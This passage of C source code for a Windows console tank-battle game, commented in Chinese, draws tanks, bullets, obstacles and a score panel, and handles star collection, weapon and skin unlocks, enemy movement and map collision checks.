int direction=0;//我的坦克子弹射向
int direction_1=0;//坦克1号子弹射向
int direction_2=0;//坦克2号子弹射向
int direction_3=0;//坦克3号子弹射向
int cp1=2;//辅助电脑判断的变量
int cp2=2;//辅助电脑判断的变量
int cp3=2;//辅助电脑判断的变量
int main()//主函数
{
srand(time(NULL));//设置随机数种子
console();//设置窗口
my_print();//打印边框
initial();//所有量初始化
while(1)
{
int i1,i2,i3,i4,i5,i6,i7;
my_move();//控制我的坦克移动
if(i1++%30==0) //控制敌人坦克速度
move_1();
if(i2++%30==0)
move_2();
if(i3++%30==0)
move_3();
if(i4++%speed==0) //控制子弹速度
shoot();
if(i5++%speed==0)
shoot_1();
if(i6++%speed==0)
shoot_2();
if(i7++%speed==0)
shoot_3();
screen_1();//刷新屏幕
Sleep(30);
}
return 0;
}
//设置光标输出的位置函数
void gotoxy(int x,int y)//X表示横坐标,Y表示纵坐标。
{
HANDLE app;
COORD pos;
pos.X=x;
pos.Y=y;
app=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(app,pos);
}
//控制窗口
void console()
{
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO bInfo;
GetConsoleScreenBufferInfo(hOut, &bInfo );
SetConsoleTitle("坦克大战"); // 设置窗口的标题
COORD size = {900, 32};//设置窗口大小
SetConsoleScreenBufferSize(hOut,size);
SMALL_RECT rc = {0,0, 63, 31};
SetConsoleWindowInfo(hOut,true ,&rc);
}
//打印边界
void my_print()
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN |FOREGROUND_INTENSITY);//
printf("■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ |﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊|\n");
for(int i=0;i<13;i++)
printf("■ ■ | |\n");
printf("■ ■ |--------------------------|\n");
for(int j=14;j<28;j++)
printf("■ ■ | |\n");
printf("■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ |﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍|\n");
}
//打印与清除坦克
void print_my_tank()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
if(my_tank[i][j]==1)
{
switch(skin)
{
case 1 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);//淡蓝色
gotoxy(2*x+2*j-2,y+i-1);
printf("■");
}break;
case 2 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);//绿色
gotoxy(2*x+2*j-2,y+i-1);
printf("■");
}break;
case 3 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED);//**
gotoxy(2*x+2*j-2,y+i-1);
printf("■");
}break;
case 4 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);//白色
gotoxy(2*x+2*j-2,y+i-1);
printf("■");
}break;
case 5 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);//紫色
gotoxy(2*x+2*j-2,y+i-1);
printf("■");
}break;
case 6 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);//红色
gotoxy(2*x+2*j-2,y+i-1);
printf("■");
}break;
case 7 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);//蓝色
gotoxy(2*x+2*j-2,y+i-1);
printf("■");
}break;
}
}
}
void clear_my_tank()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
{
gotoxy(2*x+2*j-2,y+i-1);
printf(" ");
}
}
void print_tank_1()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
if(tank_1[i][j]==1)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);// 紫色
gotoxy(2*x1+2*j-2,y1+i-1);
printf("■");
}
}
void clear_tank_1()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
{
gotoxy(2*x1+2*j-2,y1+i-1);
printf(" ");
}
}
void print_tank_2()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
if(tank_2[i][j]==1)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);// 紫色
gotoxy(2*x2+2*j-2,y2+i-1);
printf("■");
}
}
void clear_tank_2()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
{
gotoxy(2*x2+2*j-2,y2+i-1);
printf(" ");
}
}
void print_tank_3()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
if(tank_3[i][j]==1)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);// 紫色
gotoxy(2*x3+2*j-2,y3+i-1);
printf("■");
}
}
void clear_tank_3()
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
{
gotoxy(2*x3+2*j-2,y3+i-1);
printf(" ");
}
}
void print_thing() // 打印物品
{
for(int j=0;j<28;j++) // 从坐标(1,1)点开始打印
for(int i=0;i<28;i++)
if(thing[i][j]==1)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(2+2*j,1+i);
printf("■");
}
else if(thing[i][j]==2)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED);
gotoxy(2+2*j,1+i);
printf("■");
}
else if(thing[i][j]==3)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
gotoxy(2+2*j,1+i);
printf("■");
}
else if(thing[i][j]==4)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
gotoxy(2+2*j,1+i);
printf("■");
}
}
void print_bullet(int x,int y) //打印敌方坦克的子弹子弹
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
gotoxy(2*x,y);
printf("⊕");
}
void print_my_bullet(int x,int y) //打印我的子弹
{
switch(weapons)
{
case 1 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(2*x,y);
printf("⊕");
}break;
case 2 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(2*x,y);
printf("∷");
}break;
case 3 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(2*x,y);
printf("◎");
}break;
case 4 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
gotoxy(2*x,y);
printf("※");
}break;
case 5 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(2*x,y);
printf("●");
}break;
}
}
void clear_bullet(int x,int y)
{
gotoxy(2*x,y);
printf(" ");
}
void screen_1()
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED);
gotoxy(62,2);
printf(" 第 %d 关 ",level);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(62,4);
printf("分数: %d",score);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(80,4);
printf("LV: %d ",lv);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
gotoxy(62,6);
printf("生命: 坦克×%d ",life-1);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,8);
printf("敌方: 坦克×%d ",enemy);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
gotoxy(62,11);
printf("当前武器: ");
switch(weapons)
{
case 1 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
gotoxy(62,13);
printf(" 普通子弹 ⊕ ");
}break;
case 2 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,13);
printf(" 散弹 ∷ ");
}break;
case 3 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
gotoxy(62,13);
printf(" 气泡弹 ◎ ");
}break;
case 4 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
gotoxy(62,13);
printf(" 雪花弹 ※ ");
}break;
case 5 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(62,13);
printf(" 超级炮弹 ● ");
}break;
}
}
void screen_2(char *p,int color)
{
for(int i=15;i<27;i++)//先清屏
{
gotoxy(62,i);
printf(" ");
}
info[0]=info[1];//内容上移
info[1]=info[2];
info[2]=info[3];
info[3]=info[4];
info[4]=p;
for(int j=15;j<22;j=j+2)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_RED);
gotoxy(62,j);
printf("%s",info[(j+1)/2-8]);
}
switch(color)
{
case 1 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);//绿
gotoxy(62,23);
printf("%s",info[4]);
}break;
case 2 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);//淡蓝
gotoxy(62,23);
printf("%s",info[4]);
}break;
case 3 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED);//黄
gotoxy(62,23);
printf("%s",info[4]);
}break;
case 4 :
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);//红
gotoxy(62,23);
printf("%s",info[4]);
}break;
}
}
void screen_3()
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN);
gotoxy(62,27);
printf(" h键帮助 Esc退出");
gotoxy(62,28);
printf(" ");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
if(star<=13)
for(int i=1;i<=star;i++)
{
gotoxy(60+2*i,28);
printf("★");
}
}
void produce_star()
{
int a=0;
for(int i=4;i<26;i++)
{
for(int j=1;j<29;j++)
if(map[i][j]==0 && rand()%300==0)
{
s=j,t=i;
print_star();
a=1;
break;
}
if(a)
break;
}
}
void print_star()
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
gotoxy(2*s,t);
printf("★");
}
void change_star()
{
if(s==x&&t==(y-1) || s==x&&t==(y+1) || s==(x-1)&&t==y || s==(x+1)&&t==y)
{
clear_star();
s=0,t=0;
star++;
screen_2("恭喜你获得一颗星星",2);
printf("\7");
check_star();
print_my_tank();
}
if(s==x1&&t==(y1-1) || s==x1&&t==(y1+1) || s==(x1-1)&&t==y1 || s==(x1+1)&&t==y1)
{
clear_star();
s=0,t=0;
screen_2("很遗憾星星被抢走了",4);
printf("\7");
print_tank_1();
}
if(s==x2&&t==(y2-1) || s==x2&&t==(y2+1) || s==(x2-1)&&t==y2 || s==(x2+1)&&t==y2)
{
clear_star();
s=0,t=0;
screen_2("很遗憾星星被抢走了",4);
printf("\7");
print_tank_2();
}
if(s==x3&&t==(y3-1) || s==x3&&t==(y3+1) || s==(x3-1)&&t==y3 || s==(x3+1)&&t==y3)
{
clear_star();
s=0,t=0;
screen_2("很遗憾星星被抢走了",4);
printf("\7");
print_tank_3();
}
}
void clear_star()
{
gotoxy(2*s,t);
printf(" ");
}
void check_star()
{
switch(star)
{
case 2 :screen_2("解锁新武器: 散弹",4),screen_3();break;
case 3 :screen_2("成功解锁 绿色皮肤",2),screen_3();break;
case 4 :screen_2("解锁新武器: 气泡弹",2),screen_3();break;
case 5 :screen_2("成功解锁 **皮肤",3),screen_3();break;
case 6 :screen_2("解锁新武器: 雪花弹",1),screen_3();break;
case 7 :screen_2("成功解锁 白色皮肤",1),screen_3();break;
case 8 :screen_2("解锁新武器: 超级炮弹",4),screen_3();break;
case 9 :screen_2("成功解锁 紫色皮肤",1),screen_3();break;
case 10 :screen_2("您已拥有10颗星啦",3),screen_3();break;
case 11 :screen_2("成功解锁 红色皮肤",4),screen_3();break;
case 12 :screen_2("您已拥有12颗星啦",3),screen_3();break;
case 13 :screen_2("成功解锁 蓝色皮肤",1),screen_3();break;
}
}
void switch_weapons()
{
weapons++;
if(weapons>star/2+1)
weapons=1;
if(star==1)
screen_2("当前星星数不足,赶快收集吧",1);
else
{
switch(weapons)
{
case 1 :screen_2("切换到普通子弹",1);break;
case 2 :screen_2("切换到散弹",1);break;
case 3 :screen_2("切换到气泡弹",1);break;
case 4 :screen_2("切换到雪花弹",1);break;
case 5 :screen_2("切换到超级炮弹弹",1);break;
}
}
}
void switch_skin()
{
skin++;
if(skin>(star-1)/2+1)
skin=1;
if(star==1 || star==2)
screen_2("当前星星数不足,赶快收集吧",1);
else
{
switch(skin)
{
case 1 :screen_2("切换到淡蓝色皮肤",1);break;
case 2 :screen_2("切换到绿色皮肤",1);break;
case 3 :screen_2("切换到**皮肤",1);break;
case 4 :screen_2("切换到白色皮肤",1);break;
case 5 :screen_2("切换到紫色皮肤",1);break;
case 6 :screen_2("切换到红色皮肤",1);break;
case 7 :screen_2("切换到蓝色皮肤",1);break;
}
}
}
void shoot()
{
if(m!=0 || n!=0)
if(map[n][m]==0)//如果子弹还留在地图上,就清除掉
clear_bullet(m,n);
if(m==0 && n==0)//代表现在场上没有我的坦克的子弹,则重新发射子弹
{
switch(state)
{
case 1 :
{
m=x;
n=y-2;
direction=1;
}break;
case 2 :
{
m=x;
n=y+2;
direction=2;
}break;
case 3 :
{
m=x-2;
n=y;
direction=3;
}break;
case 4 :
{
m=x+2;
n=y;
direction=4;
}break;
}
}
else
{
switch(direction)
{
case 1 :n--;break;
case 2 :n++;break;
case 3 :m--;break;
case 4 :m++;break;
}
}
change_thing();//**是否击中障碍物
change_bullet();//**是否击中子弹
change_tank_1();//**是否击中坦克1号
change_tank_2();//**是否击中坦克2号
change_tank_3();//**是否击中坦克3号
if(check_bullet(m,n))
print_my_bullet(m,n);
else
m=0,n=0;
}
void shoot_1()
{
if(m1!=0 || n1!=0)
if(map[n1][m1]==0)//如果子弹还留在地图上,就清除掉
clear_bullet(m1,n1);
if(m1==0 && n1==0)//代表现在场上没有坦克1号的子弹,则重新发射子弹
{
switch(state_1)
{
case 1 :
{
m1=x1;
n1=y1-2;
direction_1=1;
}break;
case 2 :
{
m1=x1;
n1=y1+2;
direction_1=2;
}break;
case 3 :
{
m1=x1-2;
n1=y1;
direction_1=3;
}break;
case 4 :
{
m1=x1+2;
n1=y1;
direction_1=4;
}break;
}
}
else
{
switch(direction_1)
{
case 1 :n1--;break;
case 2 :n1++;break;
case 3 :m1--;break;
case 4 :m1++;break;
}
}
change_thing();//**是否击中障碍物
change_bullet();//**是否击中子弹
change_tank();//**是否击中我的坦克
if(check_bullet(m1,n1))
print_bullet(m1,n1);
else
m1=0,n1=0;
}
void shoot_2()
{
if(m2!=0 || n2!=0)
if(map[n2][m2]==0)//如果子弹还留在地图上,就清除掉
clear_bullet(m2,n2);
if(m2==0 && n2==0)//代表现在场上没有坦克2号的子弹,则重新发射子弹
{
switch(state_2)
{
case 1 :
{
m2=x2;
n2=y2-2;
direction_2=1;
}break;
case 2 :
{
m2=x2;
n2=y2+2;
direction_2=2;
}break;
case 3 :
{
m2=x2-2;
n2=y2;
direction_2=3;
}break;
case 4 :
{
m2=x2+2;
n2=y2;
direction_2=4;
}break;
}
}
else
{
switch(direction_2)
{
case 1 :n2--;break;
case 2 :n2++;break;
case 3 :m2--;break;
case 4 :m2++;break;
}
}
change_thing();//**是否击中障碍物
change_bullet();//**是否击中子弹
change_tank();//**是否击中我的坦克
if(check_bullet(m2,n2))
print_bullet(m2,n2);
else
m2=0,n2=0;
}
void shoot_3()
{
if(m3!=0 || n3!=0)
if(map[n3][m3]==0)//如果子弹还留在地图上,就清除掉
clear_bullet(m3,n3);
if(m3==0 && n3==0)//代表现在场上没有坦克3号的子弹,则重新发射子弹
{
switch(state_3)
{
case 1 :
{
m3=x3;
n3=y3-2;
direction_3=1;
}break;
case 2 :
{
m3=x3;
n3=y3+2;
direction_3=2;
}break;
case 3 :
{
m3=x3-2;
n3=y3;
direction_3=3;
}break;
case 4 :
{
m3=x3+2;
n3=y3;
direction_3=4;
}break;
}
}
else
{
switch(direction_3)
{
case 1 :n3--;break;
case 2 :n3++;break;
case 3 :m3--;break;
case 4 :m3++;break;
}
}
change_thing();//**是否击中障碍物
change_bullet();//**是否击中子弹
change_tank();//**是否击中我的坦克
if(check_bullet(m3,n3))
print_bullet(m3,n3);
else
m3=0,n3=0;
}
void turn_up(int a[][3])
{
int tank_up[3][3]={{0,1,0},{1,1,1},{1,0,1}};
if(state==1)
{
if(judge(x,y,state))
{
clear_my_tank();
y--;
print_my_tank();
refresh_map();
}
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_up[i][j];
clear_my_tank();
print_my_tank();
state=1;
refresh_map();
}
change_star();
}
void turn_down(int a[][3])
{
int tank_down[3][3]={{1,0,1},{1,1,1},{0,1,0}};
if(state==2)
{
if(judge(x,y,state))
{
clear_my_tank();
y++;
print_my_tank();
refresh_map();
}
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_down[i][j];
clear_my_tank();
print_my_tank();
state=2;
refresh_map();
}
change_star();
}
void turn_left(int a[][3])
{
int tank_left[3][3]={{0,1,1},{1,1,0},{0,1,1}};
if(state==3)
{
if(judge(x,y,state))
{
clear_my_tank();
x--;
print_my_tank();
refresh_map();
}
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_left[i][j];
clear_my_tank();
print_my_tank();
state=3;
refresh_map();
}
change_star();
}
void turn_right(int a[][3])
{
int tank_right[3][3]={{1,1,0},{0,1,1},{1,1,0}};
if(state==4)
{
if(judge(x,y,state))
{
clear_my_tank();
x++;
print_my_tank();
refresh_map();
}
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_right[i][j];
clear_my_tank();
print_my_tank();
state=4;
refresh_map();
}
change_star();
}
void turn_up_1(int a[][3])
{
int tank_up[3][3]={{0,1,0},{1,1,1},{1,0,1}};
if(state_1==1)
{
clear_tank_1();
y1--;
print_tank_1();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_up[i][j];
clear_tank_1();
print_tank_1();
state_1=1;
refresh_map();
}
}
void turn_down_1(int a[][3])
{
int tank_down[3][3]={{1,0,1},{1,1,1},{0,1,0}};
if(state_1==2)
{
clear_tank_1();
y1++;
print_tank_1();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_down[i][j];
clear_tank_1();
print_tank_1();
state_1=2;
refresh_map();
}
}
void turn_left_1(int a[][3])
{
int tank_left[3][3]={{0,1,1},{1,1,0},{0,1,1}};
if(state_1==3)
{
clear_tank_1();
x1--;
print_tank_1();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_left[i][j];
clear_tank_1();
print_tank_1();
state_1=3;
refresh_map();
}
}
void turn_right_1(int a[][3])
{
int tank_right[3][3]={{1,1,0},{0,1,1},{1,1,0}};
if(state_1==4)
{
clear_tank_1();
x1++;
print_tank_1();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_right[i][j];
clear_tank_1();
print_tank_1();
state_1=4;
refresh_map();
}
}
void turn_up_2(int a[][3])
{
int tank_up[3][3]={{0,1,0},{1,1,1},{1,0,1}};
if(state_2==1)
{
clear_tank_2();
y2--;
print_tank_2();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_up[i][j];
clear_tank_2();
print_tank_2();
state_2=1;
refresh_map();
}
}
void turn_down_2(int a[][3])
{
int tank_down[3][3]={{1,0,1},{1,1,1},{0,1,0}};
if(state_2==2)
{
clear_tank_2();
y2++;
print_tank_2();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_down[i][j];
clear_tank_2();
print_tank_2();
state_2=2;
refresh_map();
}
}
void turn_left_2(int a[][3])
{
int tank_left[3][3]={{0,1,1},{1,1,0},{0,1,1}};
if(state_2==3)
{
clear_tank_2();
x2--;
print_tank_2();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_left[i][j];
clear_tank_2();
print_tank_2();
state_2=3;
refresh_map();
}
}
void turn_right_2(int a[][3])
{
int tank_right[3][3]={{1,1,0},{0,1,1},{1,1,0}};
if(state_2==4)
{
clear_tank_2();
x2++;
print_tank_2();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_right[i][j];
clear_tank_2();
print_tank_2();
state_2=4;
refresh_map();
}
}
void turn_up_3(int a[][3])
{
int tank_up[3][3]={{0,1,0},{1,1,1},{1,0,1}};
if(state_3==1)
{
clear_tank_3();
y3--;
print_tank_3();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_up[i][j];
clear_tank_3();
print_tank_3();
state_3=1;
refresh_map();
}
}
void turn_down_3(int a[][3])
{
int tank_down[3][3]={{1,0,1},{1,1,1},{0,1,0}};
if(state_3==2)
{
clear_tank_3();
y3++;
print_tank_3();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_down[i][j];
clear_tank_3();
print_tank_3();
state_3=2;
refresh_map();
}
}
void turn_left_3(int a[][3])
{
int tank_left[3][3]={{0,1,1},{1,1,0},{0,1,1}};
if(state_3==3)
{
clear_tank_3();
x3--;
print_tank_3();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_left[i][j];
clear_tank_3();
print_tank_3();
state_3=3;
refresh_map();
}
}
void turn_right_3(int a[][3])
{
int tank_right[3][3]={{1,1,0},{0,1,1},{1,1,0}};
if(state_3==4)
{
clear_tank_3();
x3++;
print_tank_3();
refresh_map();
}
else
{
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
a[i][j]=tank_right[i][j];
clear_tank_3();
print_tank_3();
state_3=4;
refresh_map();
}
}
int judge(int x,int y,int state)//x,y坦克当前坐标,state坦克当前方向
{
switch(state)
{
case 1 :if(map[y-2][x]==0 && map[y-1][x-1]==0 && map[y-1][x+1]==0 && map[y-2][x-1]==0 && map[y-2][x+1]==0)
return 1;
else
return 0;
case 2 :if(map[y+2][x]==0 && map[y+1][x-1]==0 && map[y+1][x+1]==0 && map[y+2][x-1]==0 && map[y+2][x+1]==0)
return 1;
else
return 0;
case 3 :if(map[y][x-2]==0 && map[y-1][x-1]==0 && map[y+1][x-1]==0 && map[y-1][x-2]==0 && map[y+1][x-2]==0)
return 1;
else
return 0;
case 4 :if(map[y][x+2]==0 && map[y-1][x+1]==0 && map[y+1][x+1]==0 && map[y-1][x+2]==0 && map[y+1][x+2]==0)
return 1;
else
return 0;
}
}
int judge2(int x,int y,int state)//x,y坦克当前坐标,state坦克当前方向
{
switch(state)
{
case 1 :if(map[y-2][x]==0 && map[y-2][x-1]==0 && map[y-2][x+1]==0)
return 1;
else
return 0;
case 2 :if(map[y+2][x]==0 && map[y+2][x-1]==0 && map[y+2][x+1]==0)
return 1;
else
return 0;
case 3 :if(map[y][x-2]==0 && map[y-1][x-2]==0 && map[y+1][x-2]==0)
return 1;
else
return 0;
case 4 :if(map[y][x+2]==0 && map[y-1][x+2]==0 && map[y+1][x+2]==0)
return 1;
else
return 0;
}
}
void refresh_map() //i代表行,即纵坐标;j代表列,即横坐标
{
{
for(int i=0;i<30;i++) //首先地图清零
for(int j=0;j<30;j++)
map[i][j]=0;
}
{
for(int i=0;i<30;i++) //地图第一部分:围墙(完全不动)
{
map[i][0]=1;
map[i][29]=1;
}
for(int j=0;j<30;j++)
{
map[0][j]=1;
map[29][j]=1;
}
}
{
for(int i=0;i<3;i++) //地图第二部分:老家(几乎不动)
for(int j=0;j<4;j++)
map[i+26][j+13]=home[i][j];
}
{
for(int i=0;i<28;i++) //地图第三部分:障碍物(有时改变)
for(int j=0;j<28;j++)
map[i+1][j+1]=thing[i][j];
}
{
switch(state) //地图第四部分:坦克(总是改变)
{
case 1 :
{
map[y-1][x-1]=0; map[y-1][x]=1; map[y-1][x+1]=0;
map[y][x-1]=1; map[y][x]=1; map[y][x+1]=1;
map[y+1][x-1]=1; map[y+1][x]=0; map[y+1][x+1]=1;
}break;
case 2 :
{
map[y-1][x-1]=1; map[y-1][x]=0; map[y-1][x+1]=1;
map[y][x-1]=1; map[y][x]=1; map[y][x+1]=1;
map[y+1][x-1]=0; map[y+1][x]=1; map[y+1][x+1]=0;
}break;
case 3 :
{
map[y-1][x-1]=0; map[y-1][x]=1; map[y-1][x+1]=1;
map[y][x-1]=1; map[y][x]=1; map[y][x+1]=0;
map[y+1][x-1]=0; map[y+1][x]=1; map[y+1][x+1]=1;
}break;
case 4 :
{
map[y-1][x-1]=1; map[y-1][x]=1; map[y-1][x+1]=0;
map[y][x-1]=0; map[y][x]=1; map[y][x+1]=1;
map[y+1][x-1]=1; map[y+1][x]=1; map[y+1][x+1]=0;
}break;
}
switch(state_1)
{
case 1 :
{
map[y1-1][x1-1]=0; map[y1-1][x1]=1; map[y1-1][x1+1]=0;
map[y1][x1-1]=1; map[y1][x1]=1; map[y1][x1+1]=1;
map[y1+1][x1-1]=1; map[y1+1][x1]=0; map[y1+1][x1+1]=1;
}break;
case 2 :
{
map[y1-1][x1-1]=1; map[y1-1][x1]=0; map[y1-1][x1+1]=1;
map[y1][x1-1]=1; map[y1][x1]=1; map[y1][x1+1]=1;
map[y1+1][x1-1]=0; map[y1+1][x1]=1; map[y1+1][x1+1]=0;
}break;
case 3 :
{
map[y1-1][x1-1]=0; map[y1-1][x1]=1; map[y1-1][x1+1]=1;
map[y1][x1-1]=1; map[y1][x1]=1; map[y1][x1+1]=0;
map[y1+1][x1-1]=0; map[y1+1][x1]=1; map[y1+1][x1+1]=1;
}break;
case 4 :
{
map[y1-1][x1-1]=1; map[y1-1][x1]=1; map[y1-1][x1+1]=0;
map[y1][x1-1]=0; map[y1][x1]=1; map[y1][x1+1]=1;
map[y1+1][x1-1]=1; map[y1+1][x1]=1; map[y1+1][x1+1]=0;
}break;
}
switch(state_2)
{
case 1 :
{
map[y2-1][x2-1]=0; map[y2-1][x2]=1; map[y2-1][x2+1]=0;
map[y2][x2-1]=1; map[y2][x2]=1; map[y2][x2+1]=1;
map[y2+1][x2-1]=1; map[y2+1][x2]=0; map[y2+1][x2+1]=1;
}break;
case 2 :
{
map[y2-1][x2-1]=1; map[y2-1][x2]=0; map[y2-1][x2+1]=1;
map[y2][x2-1]=1; map[y2][x2]=1; map[y2][x2+1]=1;
map[y2+1][x2-1]=0; map[y2+1][x2]=1; map[y2+1][x2+1]=0;
}break;
case 3 :
{
map[y2-1][x2-1]=0; map[y2-1][x2]=1; map[y2-1][x2+1]=1;
map[y2][x2-1]=1; map[y2][x2]=1; map[y2][x2+1]=0;
